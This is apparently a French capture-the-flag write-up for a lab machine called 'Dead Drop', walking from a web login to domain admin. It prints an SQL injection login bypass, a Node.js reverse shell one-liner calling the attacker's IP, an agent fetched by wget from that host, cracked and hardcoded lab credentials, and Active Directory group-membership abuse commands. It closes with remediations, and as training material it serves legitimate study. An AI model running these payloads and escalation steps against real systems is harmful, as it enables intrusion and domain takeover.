Post

Write-up - Dead Drop

Write-up - Dead Drop

Write-up - Dead Drop

Contexte

La machine expose une application web sur 192.168.11.200. L’objectif est de compromettre l’application, pivoter vers le réseau interne, puis exploiter une mauvaise délégation Active Directory pour récupérer le flag final sur le contrôleur de domaine.

Résumé de l’exploitation

  1. Scan TCP de 192.168.11.200 : seuls SSH et HTTP sont accessibles.
  2. Bypass de l’authentification web avec une injection SQL.
  3. Upload d’un fichier JavaScript exécuté par la prévisualisation côté serveur.
  4. Reverse shell en tant que node.
  5. Lecture d’une sauvegarde de hash dans backup/shadow.bak.
  6. Crack du mot de passe de svc-drop, puis connexion SSH.
  7. Récupération et décompilation de l’APK deaddrop-mobile.apk.
  8. Récupération des identifiants Active Directory j.harris.
  9. Pivot réseau avec Ligolo vers le contrôleur de domaine 192.168.11.100.
  10. Analyse BloodHound : j.harris peut ajouter un membre dans ITSupport-Admins, qui est membre de Domain Admins.
  11. Ajout de j.harris dans ITSupport-Admins, connexion WinRM et lecture du flag Administrateur.

Reconnaissance

Le premier scan TCP complet identifie deux services exposés sur la cible initiale.

1
2
TARGET=192.168.11.200
nmap -p- -Pn -oA "$TARGET"_full_ports --min-rate 1000 "$TARGET"

Résultat observé :

  • 22/tcp : SSH
  • 80/tcp : HTTP

Scan Nmap initial

Bypass de l’authentification web

L’application redirige vers une page de connexion. Le formulaire est vulnérable à une injection SQL sur le champ utilisateur. Le payload suivant permet de se connecter en tant qu’administrateur sans connaître le mot de passe.

1
admin' AND 1=1 -- -

Bypass SQLi du login administrateur

Après connexion, l’interface d’administration donne accès à une fonctionnalité d’upload et de prévisualisation de fichier.

Panneau d'upload administrateur

Exécution de code via la prévisualisation

Un fichier JavaScript rev.js est téléversé puis lancé via la fonction de prévisualisation.

Upload de rev.js

Le fichier exécute une commande système avec Node.js et ouvre un reverse shell vers la machine d’attaque.

1
require('child_process').exec('bash -c "bash -i >& /dev/tcp/192.168.21.13/1337 0>&1"')
1
rlwrap nc -lvnp 1337

Le shell obtenu s’exécute avec l’utilisateur applicatif node.

Reverse shell Node.js

Compromission de svc-drop

Depuis le shell node, le répertoire backup/ contient une sauvegarde de hash lisible dans shadow.bak. Le hash appartient à l’utilisateur svc-drop.

Hash svc-drop dans shadow.bak

Le hash est sauvegardé localement puis cracké avec John.

1
john --format=sha512crypt --wordlist=/opt/lists/rockyou.txt svc-drop.hash

Mot de passe récupéré :

1
svc-drop:dropsofjupiter

Crack du mot de passe svc-drop

La connexion SSH avec ce compte fonctionne.

1
ssh svc-drop@192.168.11.200

Connexion SSH svc-drop

Récupération de l’APK interne

Le compte svc-drop ne dispose pas de privilèges sudo, mais son dossier backup/ contient une application mobile Android.

1
2
sudo -l
ls backup/

APK dans le backup de svc-drop

L’APK est copié sur la machine d’attaque puis décompilé avec JADX.

1
2
scp svc-drop@192.168.11.200:/home/svc-drop/backup/deaddrop-mobile.apk ./deaddrop-mobile.apk
jadx -d ./output/ deaddrop-mobile.apk

Transfert et décompilation de l'APK

Le fichier Config.java expose des identifiants Active Directory en dur.

1
2
3
DEFAULT_USERNAME = "j.harris"
DEFAULT_PASSWORD = "DropsOfJupiter2026!"
API_ENDPOINT = "http://internal.tryhackme.loc/api/v1"

Identifiants j.harris dans Config.java

Pivot réseau avec Ligolo

Le serveur compromis permet d’atteindre le réseau interne. Un tunnel Ligolo est préparé côté attaquant avec une interface dédiée et des routes vers les hôtes internes.

1
2
3
4
ligolo-ng -selfcert -laddr 0.0.0.0:1337
ifcreate --name dead-drop
route_add --name dead-drop --route 192.168.11.51/32
route_add --name dead-drop --route 192.168.11.100/32

Configuration des routes Ligolo

L’agent Ligolo est ensuite servi en HTTP et téléchargé depuis la machine compromise.

1
2
python3 -m http.server 80
wget http://192.168.21.13/agent

Téléchargement de l'agent Ligolo

L’agent est rendu exécutable puis connecté au proxy.

1
2
chmod +x agent
./agent -connect 192.168.21.13:1337 --ignore-cert

Connexion de l'agent Ligolo

Agent Ligolo connecté

Le tunnel est lancé sur l’interface dead-drop.

1
2
session
tunnel_start --tun dead-drop

Démarrage du tunnel Ligolo

Les routes actives permettent d’atteindre le contrôleur de domaine interne.

Routes et tunnel Ligolo actifs

Énumération du contrôleur de domaine

Le scan de 192.168.11.100 révèle les services classiques d’un contrôleur de domaine Active Directory.

1
nmap 192.168.11.100

Ports principaux observés :

  • 53/tcp : DNS
  • 88/tcp : Kerberos
  • 135/tcp, 139/tcp, 445/tcp : RPC/SMB
  • 389/tcp, 636/tcp, 3268/tcp, 3269/tcp : LDAP/LDAPS
  • 3389/tcp : RDP

Scan du contrôleur de domaine

Les identifiants extraits de l’APK sont valides sur SMB.

1
nxc smb 192.168.11.100 -u j.harris -p 'DropsOfJupiter2026!'

Validation SMB de j.harris

NetExec permet aussi de générer une entrée hosts pour résoudre correctement le nom du contrôleur de domaine.

1
2
nxc smb 192.168.11.100 -u j.harris -p 'DropsOfJupiter2026!' --generate-hosts-file hosts
cat hosts

Génération du fichier hosts

L’entrée est ajoutée dans /etc/hosts.

1
192.168.11.100 DEADDROP-DC.deaddrop.loc deaddrop.loc DEADDROP-DC

Entrée hosts du domaine

Analyse BloodHound

La collecte BloodHound est réalisée avec le compte j.harris.

1
2
3
bloodhound-ce.py -u j.harris -p 'DropsOfJupiter2026!' \
  -d deaddrop.loc -dc DEADDROP-DC.deaddrop.loc \
  -ns 192.168.11.100 -c All --zip

Collecte BloodHound

L’archive générée est extraite pour obtenir les fichiers JSON.

Extraction des données BloodHound

Neo4j et BloodHound sont ensuite démarrés.

Démarrage de Neo4j et BloodHound

Les fichiers JSON sont importés dans BloodHound.

1
bloodhound-import -du neo4j -dp exegol4thewin *.json

Import BloodHound

L’analyse montre que J.HARRIS@DEADDROP.LOC possède le droit AddMember sur le groupe ITSUPPORT-ADMINS@DEADDROP.LOC.

Droit AddMember de j.harris

Ce groupe est membre de DOMAIN ADMINS@DEADDROP.LOC. Ajouter j.harris à ITSupport-Admins permet donc une escalade directe vers les privilèges Domain Admins.

Chemin ITSupport-Admins vers Domain Admins

Escalade Active Directory

L’ajout de j.harris dans ITSupport-Admins est effectué avec bloodyAD.

1
2
3
4
5
bloodyAD --host DEADDROP-DC.deaddrop.loc \
  -d deaddrop.loc \
  -u j.harris \
  -p 'DropsOfJupiter2026!' \
  add groupMember 'ITSupport-Admins' j.harris

Ajout de j.harris dans ITSupport-Admins

La connexion WinRM sur le contrôleur de domaine fonctionne ensuite avec les mêmes identifiants. La commande whoami /all confirme l’appartenance aux groupes ITSupport-Admins et Domain Admins.

1
2
evil-winrm -u j.harris -p 'DropsOfJupiter2026!' -i DEADDROP-DC.deaddrop.loc
whoami /all

Shell WinRM avec privilèges Domain Admins

Flag final

Le flag est récupéré sur le bureau de l’administrateur du domaine.

1
cat "C:/Users/Administrator/Desktop/flag.txt"
1
THM{d34d_dr0p_d0m41n_pwn3d}

Flag administrateur

Informations sensibles récupérées

ÉlémentValeur
Compte Linuxsvc-drop:dropsofjupiter
Compte ADj.harris:DropsOfJupiter2026!
Contrôleur de domaineDEADDROP-DC.deaddrop.loc / 192.168.11.100
Groupe exploitéITSupport-Admins
Droit exploitéAddMember

Remédiations

  • Utiliser des requêtes SQL paramétrées pour empêcher le bypass de l’authentification.
  • Valider strictement les fichiers uploadés et ne jamais exécuter côté serveur du contenu fourni par l’utilisateur pendant une prévisualisation.
  • Supprimer les sauvegardes de fichiers sensibles accessibles aux comptes applicatifs.
  • Ne pas stocker d’identifiants en dur dans une application mobile ; utiliser un mécanisme d’authentification côté serveur et des secrets rotatifs.
  • Segmenter le réseau interne et limiter les flux sortants depuis les serveurs exposés.
  • Auditer les droits Active Directory dangereux comme AddMember, GenericAll et WriteDacl.
  • Surveiller les modifications d’appartenance aux groupes privilégiés, notamment les groupes transitivement liés à Domain Admins.

Conclusion

La compromission part d’une injection SQL classique, mais l’impact devient critique à cause de plusieurs erreurs cumulées : exécution côté serveur d’un fichier uploadé, sauvegarde de hash lisible, identifiants codés en dur dans un APK et délégation Active Directory trop permissive. La chaîne complète permet de passer d’un accès web non authentifié à une compromission du domaine.

This post is licensed under CC BY 4.0 by the author.